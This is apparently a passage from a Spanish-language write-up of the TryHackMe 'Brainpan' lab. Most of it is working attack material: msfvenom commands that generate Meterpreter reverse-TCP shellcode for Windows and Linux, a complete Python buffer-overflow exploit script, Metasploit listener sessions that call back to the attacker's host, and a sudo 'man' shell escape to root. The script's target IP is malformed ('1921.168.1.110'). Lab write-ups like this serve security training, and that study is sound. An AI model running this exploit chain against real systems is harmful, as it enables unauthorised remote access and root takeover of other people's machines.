Para generar la shellcode, voy a utilizar msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 EXITFUNC=process -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] =
"\xd9\xc1\xb8\x35\x89\xc6\x94\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x59\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\xd7\x7c\x3a"
"\x7c\x98\x7f\xc3\x7d\xc6\xf6\x26\x4c\xd4\x6d\x22\xfd\xe8"
"\xe6\x66\x0e\x83\xab\x92\x01\x24\x01\xbd\x2c\xb5\x1d\xb3"
"\x66\x78\xe2\x98\x4b\x1b\x9e\xe2\x9f\xfb\x9f\x2c\xd2\xfa"
"\xd8\xfa\x98\x13\xb4\x77\x30\xfb\xb2\xca\x89\xfa\x14\x9d"
"\x7a\xbc\xec\xa7\xbd\x48\x41\xa9\xed\x3b\x01\x89\x86\x73"
"\xaa\x99\x99\x50\x4f\xd0\xee\x6a\x61\x1c\x47\x19\xb5\x69"
"\x59\xcb\x87\xad\xf6\x32\x28\x20\x06\x73\x8f\xdb\x7d\x8f"
"\xf3\x66\x86\x54\x89\xbc\x03\x4a\x29\x36\xb3\xae\xcb\x9b"
"\x22\x25\xc7\x50\x20\x61\xc4\x67\xe5\x1a\xf0\xec\x08\xcc"
"\x70\xb6\x2e\xc8\xd9\x6c\x4e\x49\x84\xc3\x6f\x89\x60\xbb"
"\xd5\xc2\x83\xaa\x6a\x2b\x5c\xd3\x36\xbb\x90\x1e\xc9\x3b"
"\xbf\x29\xba\x09\x60\x82\x54\x21\xe9\x0c\xa2\x30\xfd\xae"
"\x7c\xfa\x6e\x51\x7d\xfa\xa7\x96\x29\xaa\xdf\x3f\x52\x21"
"\x20\xbf\x87\xdf\x2a\x57\xe8\xb7\x13\xa6\x80\xc5\x63\xb9"
"\x0c\x40\x85\xe9\xfc\x02\x1a\x4a\xad\xe2\xca\x22\xa7\xed"
"\x35\x52\xc8\x24\x5e\xf9\x27\x90\x36\x96\xde\xb9\xcd\x07"
"\x1e\x14\xa8\x08\x94\x9c\x4c\xc6\x5d\xd5\x5e\x3f\x3a\x15"
"\x9f\xc0\xaf\x15\xf5\xc4\x79\x42\x61\xc7\x5c\xa4\x2e\x38"
"\x8b\xb7\x29\xc6\x4a\x81\x42\xf1\xd8\xad\x3c\xfe\x0c\x2d"
"\xbd\xa8\x46\x2d\xd5\x0c\x33\x7e\xc0\x52\xee\x13\x59\xc7"
"\x11\x45\x0d\x40\x7a\x6b\x68\xa6\x25\x94\x5f\xb4\x22\x6a"
"\x1d\x93\x8a\x02\xdd\xa3\x2a\xd2\xb7\x23\x7b\xba\x4c\x0b"
"\x74\x0a\xac\x86\xdd\x02\x27\x47\xaf\xb3\x38\x42\x71\x6d"
"\x38\x61\xaa\x9e\x43\x0a\x4d\x5f\xb4\x02\x2a\x60\xb4\x2a"
"\x4c\x5d\x62\x13\x3a\xa0\xb6\x20\x35\x97\x9b\x01\xdc\xd7"
"\x88\x52\xf5";
Actualizo el exploit, añado al padding 16 bytes de NOPs y la shellcode:
import socket
ip = "1921.168.1.110"
port = 9999
prefix = "k3ss "
offset = 519
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
payload = (
"\xd9\xc1\xb8\x35\x89\xc6\x94\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x59\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\xd7\x7c\x3a"
"\x7c\x98\x7f\xc3\x7d\xc6\xf6\x26\x4c\xd4\x6d\x22\xfd\xe8"
"\xe6\x66\x0e\x83\xab\x92\x01\x24\x01\xbd\x2c\xb5\x1d\xb3"
"\x66\x78\xe2\x98\x4b\x1b\x9e\xe2\x9f\xfb\x9f\x2c\xd2\xfa"
"\xd8\xfa\x98\x13\xb4\x77\x30\xfb\xb2\xca\x89\xfa\x14\x9d"
"\x7a\xbc\xec\xa7\xbd\x48\x41\xa9\xed\x3b\x01\x89\x86\x73"
"\xaa\x99\x99\x50\x4f\xd0\xee\x6a\x61\x1c\x47\x19\xb5\x69"
"\x59\xcb\x87\xad\xf6\x32\x28\x20\x06\x73\x8f\xdb\x7d\x8f"
"\xf3\x66\x86\x54\x89\xbc\x03\x4a\x29\x36\xb3\xae\xcb\x9b"
"\x22\x25\xc7\x50\x20\x61\xc4\x67\xe5\x1a\xf0\xec\x08\xcc"
"\x70\xb6\x2e\xc8\xd9\x6c\x4e\x49\x84\xc3\x6f\x89\x60\xbb"
"\xd5\xc2\x83\xaa\x6a\x2b\x5c\xd3\x36\xbb\x90\x1e\xc9\x3b"
"\xbf\x29\xba\x09\x60\x82\x54\x21\xe9\x0c\xa2\x30\xfd\xae"
"\x7c\xfa\x6e\x51\x7d\xfa\xa7\x96\x29\xaa\xdf\x3f\x52\x21"
"\x20\xbf\x87\xdf\x2a\x57\xe8\xb7\x13\xa6\x80\xc5\x63\xb9"
"\x0c\x40\x85\xe9\xfc\x02\x1a\x4a\xad\xe2\xca\x22\xa7\xed"
"\x35\x52\xc8\x24\x5e\xf9\x27\x90\x36\x96\xde\xb9\xcd\x07"
"\x1e\x14\xa8\x08\x94\x9c\x4c\xc6\x5d\xd5\x5e\x3f\x3a\x15"
"\x9f\xc0\xaf\x15\xf5\xc4\x79\x42\x61\xc7\x5c\xa4\x2e\x38"
"\x8b\xb7\x29\xc6\x4a\x81\x42\xf1\xd8\xad\x3c\xfe\x0c\x2d"
"\xbd\xa8\x46\x2d\xd5\x0c\x33\x7e\xc0\x52\xee\x13\x59\xc7"
"\x11\x45\x0d\x40\x7a\x6b\x68\xa6\x25\x94\x5f\xb4\x22\x6a"
"\x1d\x93\x8a\x02\xdd\xa3\x2a\xd2\xb7\x23\x7b\xba\x4c\x0b"
"\x74\x0a\xac\x86\xdd\x02\x27\x47\xaf\xb3\x38\x42\x71\x6d"
"\x38\x61\xaa\x9e\x43\x0a\x4d\x5f\xb4\x02\x2a\x60\xb4\x2a"
"\x4c\x5d\x62\x13\x3a\xa0\xb6\x20\x35\x97\x9b\x01\xdc\xd7"
"\x88\x52\xf5")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except Exception as e:
print(f"An error occurred: {e}")
Prueba del exploit
Pongo en marcha el listener de Metasploit y lanzo el exploit:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set lhost tun0
[-] The following options failed to validate: Value 'tun0' is not valid for option 'LHOST'.
lhost =>
msf6 exploit(multi/handler) > set lhost vboxnet0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (175686 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49157) at 2023-10-08 00:21:38 +0200
meterpreter > getuid
Server username: usuario-PC\usuario
meterpreter > ls
Listing: C:\bof\brainpan
========================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 21190 fil 2023-10-07 23:55:03 +0200 brainpan.exe
Como veo que ha sido un exito, preparo un shellcode para linux y ataco a la máquina de TryHackMe.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=process -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 150 (iteration=0)
x86/shikata_ga_nai chosen with final size 150
Payload size: 150 bytes
Final size of c file: 657 bytes
unsigned char buf[] =
"\xbd\x44\x72\x55\xcf\xd9\xe8\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x1f\x31\x68\x15\x03\x68\x15\x83\xc0\x04\xe2\xb1\x18"
"\x5f\x91\x08\x06\xa8\xce\x39\xfb\x04\x7b\xbf\x4b\xcc\xf2"
"\x5e\x66\x91\x92\xfb\x11\x98\x92\xc9\x59\xf4\xa8\x2d\x9b"
"\xbe\x24\xcc\xf1\xa6\x6e\x5e\x57\x70\x06\xbf\x14\xb3\x98"
"\xba\x5b\x32\x80\x8a\x2f\xf8\xda\xb0\xd0\x02\x1b\xec\xba"
"\x02\x71\x09\xb2\xe0\xb4\xd8\x09\x66\x33\x1a\xe8\xda\xd7"
"\xbd\xb9\x22\x91\xc1\xad\x2c\xe1\x48\x2e\xed\x0a\x46\x70"
"\x0d\xc0\xe6\x0f\x1f\x59\x83\x30\xe7\x4a\xd0\x39\xf9\xf2"
"\x54\x53\x4a\x07\x55\x24\x2f\xc8\x1d\x27\xcf\x28\x65\x26"
"\x2f\xab\x95\x92\x2e\xab\x95\xe4\xfd\x2b";
Acceso inicial
Con el exploit preparado, lanzo el listener de Metasploit y lanzo el exploit:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.50.184:443
[*] Sending stage (1017704 bytes) to 10.10.115.44
[*] Meterpreter session 2 opened (10.14.50.184:443 -> 10.10.115.44:56482) at 2023-10-08 00:44:54 +0200
meterpreter > pwd
/home/puck
meterpreter > getuid
Server username: puck
meterpreter >
Tengo acceso a la máquina con el usuario puck. Ahora voy a escalar privilegios.
Escalada de privilegios
Pongo la shell en background y utilizo el post exploit de Metasploit para buscar exploits que me permitan escalar privilegios:
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.106.98 - Collecting local exploits for x86/linux...
[*] 10.10.106.98 - 186 exploit checks are being tried...
[+] 10.10.106.98 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 10.10.106.98 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.5p2.pre.1ubuntu1.1 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 10.10.106.98 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/su_login Yes The target appears to be vulnerable.
2 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.8.5p2.pre.1ubuntu1.1 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
Intento usar el exploit exploit/linux/local/su_login
pero no funciona. Tampoco lo consigo con el exploit exploit/linux/local/sudoedit_bypass_priv_esc
.
Reviso los permisos de sudo:
meterpreter > shell
Process 1368 created.
Channel 99 created.
find / -type f -perm -u=s -o -type f -perm -g=s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/wall
/usr/bin/sudo
/usr/bin/chage
/usr/bin/crontab
/usr/bin/mtr
/usr/bin/dotlockfile
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/mlocate
/usr/bin/expiry
/usr/bin/bsd-write
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/mail-lock
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/mail-touchlock
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mail-unlock
/usr/bin/ssh-agent
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/sbin/unix_chkpwd
$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
$
Veo que el usuario puck puede ejecutar el comando /home/anansi/bin/anansi_util
como root sin contraseña. Ejecuto el binario y me encuentro que permite ejecutar algunos comandos como root:
$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
Al ejecutarse con sudo, el binario que le pase al comando manual se ejecutará como root. Mirando en GTFOBins, veo que el comando man
puede ejecutarse como root y es posible obtener una shell con el comando !/bin/bash
:
sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man# whoami
whoami
root
root@brainpan:/usr/share/man#
Finalmente, obtengo una shell como root gracias a un binario que se ejecuta con sudo sin contraseña debido a un fallo de configuración bastante común en muchos sistemas.
Conclusiones
Después de haber practicado con el buffer overflow en varias máquinas de TryHackMe, completar esta máquina no ha sido especialmente difícil. Sin embargo, me ha servido para practicar con un entorno más realista y a buscar vulnerabilidades tras haber conseguido acceso inicial a la máquina, todo ello sin recibir ninguna pista por parte de la plataforma. Con esta máquina he acabado el bloque de buffer overflow y ahora voy a empezar con el bloque de Active Directory.